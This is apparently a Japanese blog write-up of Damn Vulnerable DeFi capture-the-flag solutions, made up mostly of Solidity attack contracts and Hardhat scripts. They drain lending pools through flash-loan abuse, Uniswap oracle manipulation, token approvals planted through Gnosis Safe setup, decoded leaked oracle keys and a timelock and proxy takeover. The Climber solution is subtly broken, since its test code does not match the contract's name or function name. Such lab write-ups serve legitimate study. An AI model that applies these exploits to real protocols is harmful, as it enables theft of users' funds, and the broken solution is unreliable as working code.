amyseer

amyseer

I wana beautiful world.

# くそ -脆弱な-defi

いくつかの問題解決

unstoppable#

問題解決

it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        await this.token.transfer(this.pool.address, 1);
    });

分析

falshLoan() の中に assert(poolBalance == balanceBefore); が存在する。
したがって、 deposit() を通さずに pool に送金することで assert の条件を満たさないようにすればよい。

truster#

問題解決
攻撃契約:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./TrusterLenderPool.sol";

interface Token {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TrusterExploit {
    function getApprove(
        address spender,
        uint256 amount
    ) public returns (bytes memory) {
        bytes memory data = abi.encodeWithSelector(
            Token.approve.selector,
            spender,
            amount
        );
        return data;
    }

    function DOflashLoan(
        TrusterLenderPool pool,
        uint256 amount,
        address borrower,
        address target,
        address player
    ) public {
        bytes memory data = getApprove(player, amount);
        pool.flashLoan(0, borrower, target, data);
    }
}

その後、js で別の操作を実行:

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        /*const data = web3.eth.abi.encodeFunctionCall(
            {
                name: 'approve',
                type: 'function',
                inputs: [
                    {
                        type: 'address',
                        name: 'spender'
                    },
                    {
                        type: 'uint256',
                        name: 'amount'
                    }
                ]
            }, [player.address, TOKENS_IN_POOL]
        )*/
        [deployer, player] = await ethers.getSigners();
        exploit = await (await ethers.getContractFactory('TrusterExploit', deployer)).deploy();
        await exploit.DOflashLoan(pool.address, TOKENS_IN_POOL, player.address, token.address, player.address);
        await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
    });

分析

data を構築して token 契約の approve () 関数を呼び出し、自分に TOKEN_IN_POOL と等しい許可を追加し、その後 flashLoan を実行して 0 を借り、最後に token 契約の transferFrom を実行してお金を移動させる。

naive-receiver#

問題解決

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const ETH = await pool.ETH();

        for (let i = 0; i < 10; i++) {
            await pool.flashLoan(receiver.address, ETH, 0, "0x");
        }
    });

分析
借り入れを行うたびに 1ETH が消費されるため、receiver に 10 回借り入れを行わせればよい。

side-entrance#

問題解決

攻撃契約

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract FlashLoanEtherReceiverMock {
    SideEntranceLenderPool pool;

    constructor(address ipool) public {
        pool = SideEntranceLenderPool(ipool);
    }

    function exploit() external payable {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    function execute() external payable {
        pool.deposit{value: address(this).balance}();
    }

    receive() external payable {}
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        let attacker = await (await ethers.getContractFactory('FlashLoanEtherReceiverMock', player)).deploy(pool.address);
        await attacker.connect(player).exploit();
    });

分析:

falsnLoan () を実行した後、excute () を実行し、借りたお金を自分のアカウントにプールに預けるが、プールにその金額が確かに存在するため、 if (address(this).balance < balanceBefore) revert RepayFailed(); のチェックを回避できる。その後、withdraw () を呼び出して引き出し、自分にお金を送ることができる。

the-rewarder#

問題解決

攻撃契約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
//import "./RewardToken.sol"; //なぜかimportすると同じ定義が存在するというエラーが出るが、コメントアウトすれば問題なく使える
import "./TheRewarderPool.sol";

contract DearSuspect {
    DamnValuableToken liquidToken;
    RewardToken rewardToken;
    FlashLoanerPool flashloanPool;
    TheRewarderPool rewardPool;

    constructor(
        address _liquidityToken,
        address _rewardToken,
        address _flashLoanerPool,
        address _theRewarderPool
    ) {
        liquidToken = DamnValuableToken(_liquidityToken);
        rewardToken = RewardToken(_rewardToken);
        flashloanPool = FlashLoanerPool(_flashLoanerPool);
        rewardPool = TheRewarderPool(_theRewarderPool);
    }

    function exploit() public {
        uint256 amount = liquidToken.balanceOf(address(flashloanPool));
        flashloanPool.flashLoan(amount);
        rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
        liquidToken.transfer(address(flashloanPool), amount);
    } //実行後の操作

    fallback() external payable {}
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days 特に注意が必要、チェーンの時間をこの操作で5日間増やさないと成功しない
        let suspectFactory = await ethers.getContractFactory('DearSuspect', deployer);
        let suspect = await suspectFactory.deploy(liquidityToken.address, rewardToken.address, flashLoanPool.address, rewarderPool.address);
        await suspect.connect(player).exploit();
    });

分析:
TheRewardPool 契約の中でliquidityTokenは本物のトークンであり、accTokenは論理演算を行うトークンであり、rewardTokenは報酬である。
報酬の計算方法は:*rewards = amountDeposited.mulDiv (REWARDS, totalDeposits);* であり、mulDiv 関数の具体的なコードは見つからなかったが、その名前から機能は乗算と除算であることがわかる。プールの全資金を使って計算を試みる。

selfie#

問題解決
攻撃契約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ISimpleGovernance.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

interface IERC20Snapshot is IERC20 {
    function snapshot() external returns (uint256 lastSnapshotId);
}

contract suspect {
    SelfiePool public immutable pool;
    SimpleGovernance public governance;
    IERC20Snapshot public immutable token;
    address public immutable owner;
    IERC3156FlashBorrower public borrower;
    uint256 amount;

    constructor(address _pool, address _governance, address _token) {
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = IERC20Snapshot(_token);
        owner = msg.sender;
        borrower = IERC3156FlashBorrower(address(this));
    }

    function attack() public {
        amount = token.balanceOf(address(pool));

        pool.flashLoan(borrower, address(token), amount, "0x111");
    }

    function onFlashLoan(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) public returns (bytes32) {
        require(msg.sender == address(pool), "not pool");
        require(tx.origin == owner, "not owner");

        token.snapshot();

        bytes memory data = abi.encodeWithSignature(
            "emergencyExit(address)",
            owner
        );

        governance.queueAction(address(pool), 0, data);

        token.approve(address(pool), amount);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.suspect = await (await ethers.getContractFactory("suspect", player)).deploy(pool.address, governance.address, token.address);
        await this.suspect.attack();

        const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
        await time.increase(ACTION_DELAY);  // 問題に対処するため:uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; in SimpleGovernance.sol

        await governance.connect(player).executeAction(1); // queue and execute action
    });

分析:
問題は明示的に governance に問題があることを示しており、プールはフラッシュローンと emergencyExit を提供しているため、直接実行すればよい。

compromised#

問題解決
実行操作:

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        // 入力の16進数文字列
        const hexString1 = "4d48686a4e6a63345a575978595745304e545a6b59545931597a5a6d597a55344e6a466b4e4451344f544a6a5a475a68597a426a4e6d4d34597a49314e6a42695a6a426a4f575a69593252685a544a6d4e44637a4e574535";
        const hexString2 = "4d4867794d4467794e444a6a4e4442685932526d59546c6c5a4467344f5755324f44566a4d6a4d314e44646859324a6c5a446c695a575a6a4e6a417a4e7a466c4f5467334e575a69593251334d7a597a4e444269596a5134";

        // 16進数文字列をバイト配列に変換
        const byteArray1 = hexString1.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
        const byteArray2 = hexString2.match(/.{1,2}/g).map(byte => parseInt(byte, 16));

        // バイト配列をUTF-8テキストにデコード
        const base64Text1 = Buffer.from(byteArray1).toString('utf-8');
        const base64Text2 = Buffer.from(byteArray2).toString('utf-8');

        // base64テキストをUTF-8テキストにデコード
        const privateKey_one = Buffer.from(base64Text1, 'base64').toString('utf-8');
        const privateKey_two = Buffer.from(base64Text2, 'base64').toString('utf-8');

        // ウォレットに接続して価格を提示
        const wallet_1 = new ethers.Wallet(privateKey_one, ethers.provider);
        const wallet_2 = new ethers.Wallet(privateKey_two, ethers.provider);

        await oracle.connect(wallet_1).postPrice('DVNFT', 1); // buy中にmsg.value != 0が要求されるため、ここでは0を提示しない
        await oracle.connect(wallet_2).postPrice('DVNFT', 1);
        await exchange.connect(player).buyOne({ value: 1 });

        // 価格を変更し、売却操作を行う
        await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
        await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);

        // 価格を元に戻す
        await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE);
        await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE);

        /*
        試した結果、必ず2つのアカウントで価格を提示する必要があり、そうでないと成功しない。buyOne()でエラーが発生する:reverted with custom error 'InvalidPayment()';
        理由はTrustfulOracleの中でuint256[] memory prices = getAllPricesForSymbol(symbol);が要求されるため。
        */
    });

puppet#

問題解決
契約:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

/*
インターフェースコード:
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
    assert input_reserve > 0 and output_reserve > 0
    input_amount_with_fee: uint256 = input_amount * 997
    numerator: uint256 = input_amount_with_fee * output_reserve
    denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
    return numerator / denominator
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
    assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
    token_reserve: uint256 = self.token.balanceOf(self)
    eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
    wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
    assert wei_bought >= min_eth
    send(recipient, wei_bought)
    assert self.token.transferFrom(buyer, self, tokens_sold)
    log.EthPurchase(buyer, tokens_sold, wei_bought)
    return wei_bought
*/
interface IUniswapExchangeV1 {
    function tokenToEthTransferInput(
        uint256 tokens_sold,
        uint256 min_eth,
        uint256 deadline,
        address recipient
    ) external returns (uint256);
}

interface IPool {
    function borrow(uint256 amount, address recipient) external payable;
}

contract PuppetPoolExploit {
    /*
    before_settingでの基本情報:
    const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
    const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;

    const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;

    const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;

    */
    uint256 immutable SELL_DVT_AMOUNT = 1000 ether;
    uint256 immutable DEPOSIT_FACTOR = 2;
    uint256 immutable BORROW_DVT_AMOUNT = 100000 ether;

    IUniswapExchangeV1 immutable UniExchange;
    IERC20 immutable token;
    IPool immutable pool;
    address immutable player;

    /*
    PuppetPool.solの基本情報:
    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;
    */

    constructor(address _token, address _pair, address _pool) {
        token = IERC20(_token);
        pool = IPool(_pool);
        UniExchange = IUniswapExchangeV1(_pair);
        player = msg.sender;
    }

    function exploit() external payable {
        require(msg.sender == player);

        // DVTをUniswapプールにダンプ
        token.approve(address(UniExchange), SELL_DVT_AMOUNT);
        UniExchange.tokenToEthTransferInput(
            SELL_DVT_AMOUNT,
            9,
            block.timestamp,
            address(this)
        );

        // 担保を計算して返す
        uint256 price = (address(UniExchange).balance * (10 ** 18)) /
            token.balanceOf(address(UniExchange));
        uint256 depositRequired = (BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR) /
            10 ** 18; 

        //この部分のコードはデバッグ情報を出力するためのもの
        console.log("contract ETH balance:", address(this).balance);
        console.log("DVT price:", price);
        console.log("Deposit Required:", depositRequired);

        pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
    }

    receive() external payable {}
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        [, , this.anotherPlayer] = await ethers.getSigners();

        const PuppetExploitFactory = await ethers.getContractFactory('PuppetPoolExploit', this.anotherPlayer);

        this.PuppetExploit = await PuppetExploitFactory.deploy(
            token.address,
            uniswapExchange.address,
            lendingPool.address
        );
        token.connect(player).transfer(this.PuppetExploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
        await this.PuppetExploit.exploit({ value: 11n * 10n ** 18n });
        await token.connect(this.anotherPlayer).transfer(player.address, await token.balanceOf(this.anotherPlayer.address));
    });

分析
この問題は uniswapV1 の脆弱性に関するもので、問題の契約の価格は完全に uniswapPair に依存しているため、PLAYER_INITIAL_TOKEN_BALANCE をその uniswapPair インスタンスに預けることで、価格が瞬時に破壊され、その後 borrow を実行すればよい。

puppet-v2#

攻撃契約:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

interface IUniswapV2Pouter {
    function WETH() external pure returns (address);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

/**
 * @title 
 * @author 
 * @notice
 * UniswapV2からの重要な関数がプールに含まれている:
 * 
 * address public immutable override WETH;
 * 
 * function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external override ensure(deadline) returns (uint[] memory amounts) {
        amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        TransferHelper.safeTransferFrom(path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
        _swap(amounts, path, to);
    } 
 */

interface IWETH is IERC20 {
    function deposit() external payable;
}

interface IPool {
    function borrow(uint256 borrowAmount) external;

    function calculateDepositOfWETHRequired(
        uint256 tokenAmount
    ) external view returns (uint256);
}

/**
 * チャレンジの基本設定:
    const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
    const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;

    const PLAYER_INITIAL_TOKEN_BALANCE = 10000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 20n * 10n ** 18n;

    const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n; 
 */

contract PuppetV2Exploit {
    uint256 immutable DUMP_DVT_AMOUNT = 10000 ether;
    uint256 immutable BORROW_DVT_AMOUNT = 1000000 ether;

    IUniswapV2Pouter immutable router;
    IWETH immutable weth;
    IPool immutable pool;
    IERC20 immutable token;
    address immutable player;

    constructor(address _router, address _pool, address _token) {
        router = IUniswapV2Pouter(_router);
        pool = IPool(_pool);
        token = IERC20(_token);
        weth = IWETH(router.WETH());
        player = msg.sender;
    }

    function exploit() external payable {
        require(msg.sender == player);

        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);

        token.approve(address(router), DUMP_DVT_AMOUNT);
        router.swapExactTokensForTokens(
            DUMP_DVT_AMOUNT,
            9 ether,
            path,
            address(this),
            block.timestamp
        );

        // ETHをラップされたものに変換
        weth.deposit{value: address(this).balance}();

        // 必要な金額を計算
        uint256 RequiredWeth = pool.calculateDepositOfWETHRequired(
            BORROW_DVT_AMOUNT
        );
        console.log("contract WETH balance:", weth.balanceOf(address(this)));
        console.log("Required WETH:", RequiredWeth);

        // 承認して借り入れ
        weth.approve(address(pool), weth.balanceOf(address(this)));
        pool.borrow(BORROW_DVT_AMOUNT);

        // DVTとWETHをすべて転送
        token.transfer(player, token.balanceOf(address(this)));
        weth.transfer(player, weth.balanceOf(address(this)));
    }

    receive() external payable {}
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const PuppetV2ExploitFactory = await ethers.getContractFactory('PuppetV2Exploit', player);
        this.PuppetV2Exploit = await PuppetV2ExploitFactory.deploy(
            uniswapRouter.address,
            lendingPool.address,
            token.address
        );

        await token.connect(player).transfer(this.PuppetV2Exploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
        await this.PuppetV2Exploit.exploit({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
    });

分析
この問題も前の問題と同様で、uniswap のソースコードを調べて、相応しい関数を見つけてトークンをスワップして価格を破壊し、その後プールからすべての DVT を借りることができる。

free-rider#

攻撃契約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IMarketplace {
    function buyMany(uint256[] calldata tokenIds) external payable;
}

contract AttackFreeRider {
    IUniswapV2Pair private immutable pair;
    IMarketplace private immutable marketplace;

    IWETH private immutable weth;
    IERC721 private immutable nft;

    address private immutable recoveryContract;
    address private immutable player;

    uint256 private constant NFT_PRICE = 15 ether;
    uint256[] private tokens = [0, 1, 2, 3, 4, 5];

    constructor(
        address _pair,
        address _marketplace,
        address _weth,
        address _nft,
        address _recoveryContract
    ) {
        pair = IUniswapV2Pair(_pair);
        marketplace = IMarketplace(_marketplace);
        weth = IWETH(_weth);
        nft = IERC721(_nft);
        recoveryContract = _recoveryContract;
        player = msg.sender;
    }

    function attack() external payable {
        // 1. Uniswapペアから15 WETHのフラッシュスワップをリクエスト
        bytes memory data = abi.encode(NFT_PRICE);
        pair.swap(NFT_PRICE, 0, address(this), data);
    }

    function uniswapV2Call(
        address sender,
        uint amount0,
        uint amount1,
        bytes calldata data
    ) external {
        // アクセス制御
        require(msg.sender == address(pair));
        require(tx.origin == player);

        // WETHをネイティブETHにアンラップ
        weth.withdraw(NFT_PRICE);

        // すべてのNFTを15 ETHで購入
        marketplace.buyMany{value: NFT_PRICE}(tokens);

        // ペア契約に15WETH + 0.3%を返済
        uint256 amountToPayBack = (NFT_PRICE * 1004) / 1000;
        weth.deposit{value: amountToPayBack}();
        weth.transfer(address(pair), amountToPayBack);

        // NFTを回収契約に送信して報酬を得る
        bytes memory data = abi.encode(player);
        for (uint256 i; i < tokens.length; i++) {
            nft.safeTransferFrom(address(this), recoveryContract, i, data);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

実行操作

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
        this.attackerContract = await FreeRiderAttacker.deploy(
            uniswapPair.address, marketplace.address, weth.address,
            nft.address, devsContract.address
        );

        await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
    });

分析

FreRiderNFTMarketplace には以下の脆弱性が存在する:
1. 契約内の msg.value 検証に問題があり、_buyOne 関数はユーザーが NFT を購入するために十分な ETH を支払ったかどうかを確認するが、論理エラーが存在する。購入者は buyMany 機能を使用してすべての NFT を購入でき、同時に 1 つの NFT のためにのみ支払うことができ、msg.value は変わらない。

  1. ETH は NFT の購入者ではなく売り手に送信される。この状況は、NFT が ETH を送信する前に転送されるため、購入者に返金されることになる。

問題は、最初に 0.1ETH しか持っていないため、NFT を 1 つも購入できないが、フラッシュローンを使用して目的を達成する必要がある。

プロセスは次のようになる:

借りる => 借りたWETHをETHにアンラップ => _buyOneの脆弱性を利用してbuyManyを呼び出してすべてのNFTを取得 => 2つ目のエラーのため、すべてのETHとNFTを取得 => 返済し、NFTを回収契約に送信

Backdoor#

攻撃契約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../backdoor/WalletRegistry.sol";

interface IGnosisFactory {
    function createProxyWithCallback(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce,
        IProxyCreationCallback callback
    ) external returns (GnosisSafeProxy proxy);
}

contract MaliciousApprove {
    function approve(address attacker, IERC20 token) public {
        token.approve(attacker, type(uint256).max);
    }
}

contract AttackBackdoor {
    WalletRegistry private immutable walletRegistry;
    IGnosisFactory private immutable factory;
    GnosisSafe private immutable masterCopy;
    IERC20 private immutable token;
    MaliciousApprove private immutable maliciousApprove;

    constructor(address _walletRegistry, address[] memory users) {
        // ステート変数を設定
        walletRegistry = WalletRegistry(_walletRegistry);
        masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
        factory = IGnosisFactory(walletRegistry.walletFactory());
        token = IERC20(walletRegistry.token());

        // 悪意のある承認を行うためのバックドアをデプロイ
        maliciousApprove = new MaliciousApprove();

        // 各ユーザーのためにファクトリを通じて新しいセーフを作成
        bytes memory initializer;
        address[] memory owners = new address[](1);
        address wallet;

        for (uint256 i; i < users.length; i++) {
            owners[0] = users[i];
            initializer = abi.encodeCall(
                GnosisSafe.setup,
                (
                    owners,
                    1,
                    address(maliciousApprove),
                    abi.encodeCall(
                        maliciousApprove.approve,
                        (address(this), token)
                    ),
                    address(0),
                    address(0),
                    0,
                    payable(address(0))
                )
            );

            wallet = address(
                factory.createProxyWithCallback(
                    address(masterCopy),
                    initializer,
                    0,
                    walletRegistry
                )
            );

            token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
        }
    }
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
        this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users)
    });

分析

GnosisSafe.sol の中の function setup には以下のようなパラメータがある:

_owners: セーフの所有者リスト
_threshold: セーフ取引に必要な確認数
to: 呼び出しのためのオプションの契約アドレス
data: プロキシ呼び出しのデータ
fallbackHandler: 契約を呼び出すためのフォールバックハンドラ 
paymentToken: 支払いトークン(0はETHまたは特定のトークンを示す)
payment: 支払い金額
paymentReceiver: 支払いを受け取るアドレス

この中で data と fallbackHandler は悪用可能であり、IGnosisFactory の中の function createProxyWithCallback は新しいプロキシウォレットを生成するために使用できる。

攻撃は以下の手順で行われる:

1. 悪意のある契約をデプロイし、Gnosis Safe Factory契約をトリガーしてcreateProxyWithCallback関数を実行。

2. Gnosisセーフプロキシを作成:ファクトリを使用して新しいGnosis Safeプロキシをデプロイし、masterCopy実装を指す。

3. 悪意のあるモジュールを実行:新しいプロキシ内でsetup機能を自動的に実行し、契約内のMaliciousApprove悪意のあるモジュールが新しいセーフプロキシを代表してDVTを承認できるようにする。

4. コールバックを実行:コールバック関数をアクティブにし、WalletRegistryを呼び出して一連の検証とチェックを実行。

5. DVTを転送:すべてのチェックが通過した後、WalletRegistryを通じてDVTをセーフプロキシに転送。

6. トークンを盗む:transferFromを実行してセーフからDVTトークンを盗む。

Climber#

攻撃契約

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
contract attack6 is UUPSUpgradeable{
         ClimberTimelock  immutable timelock;
         address immutable vaultProxyAddress;
         IERC20 immutable token;
         address immutable attacker;
constructor(ClimberTimelock _timelock,address _vaultProxyAddress,IERC20 _token){
    timelock=_timelock;
     vaultProxyAddress = _vaultProxyAddress;
        token = _token;
        attacker = msg.sender;
}
function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
      address[] memory targets= new address[](5);
        uint256[] memory values =new uint256[](5);
        bytes[] memory dataElements=new bytes[](5);

        //遅延を0にアップグレード
        targets[0]=address(timelock);
        values[0]=0;
        dataElements[0]=abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);

        //契約にproposer役割を与える
        targets[1]=address(timelock);
        values[1]=0;
        dataElements[1]=abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));

        //スケジュールを実行
        targets[2]=address(this);
        values[2]=0;
            dataElements[2] = abi.encodeWithSelector(
            attack6.scheduleProposal.selector
        );

        //climbervaultをアップグレードし、sweepFunds関数を置き換える
        targets[3]=address(vaultProxyAddress);
        values[3]=0;
        dataElements[3]=abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));
        
        //お金を移動させる
        targets[4]=address(vaultProxyAddress);
        values[4]=0;
        dataElements[4]=abi.encodeWithSelector(attack6.sweepFunds.selector);
       
       return (targets,values,dataElements);

}


       function scheduleProposal()external {
            (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory dataElements
        ) = buildProposal();
         timelock.schedule(targets, values, dataElements, 0);

       }

       function executeProposal() external {
         (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory dataElements
        ) = buildProposal();
         timelock.execute(targets, values, dataElements, 0);
       }
       function sweepFunds()external {
        token.transfer(attacker,token.balanceOf(address(this)));
       }

           function _authorizeUpgrade(address newImplementation) internal  override {}
       
}

実行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.attack = await (await ethers.getContractFactory("attack", attacker)).deploy(this.timelock.address, this.vault.address, this.token.address);

        await this.attack.connect(attacker).excuteProposal();
    });

分析

攻撃手順:

  1. 遅延を 0 にする
  2. 攻撃契約に proposer 権限を与える
  3. climbervault 契約をアップグレードし、sweepfunds メソッドをオーバーライドする
  4. sweepfunds を実行してお金を持ってくる
    そして execute の前に schedule が必要です。
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。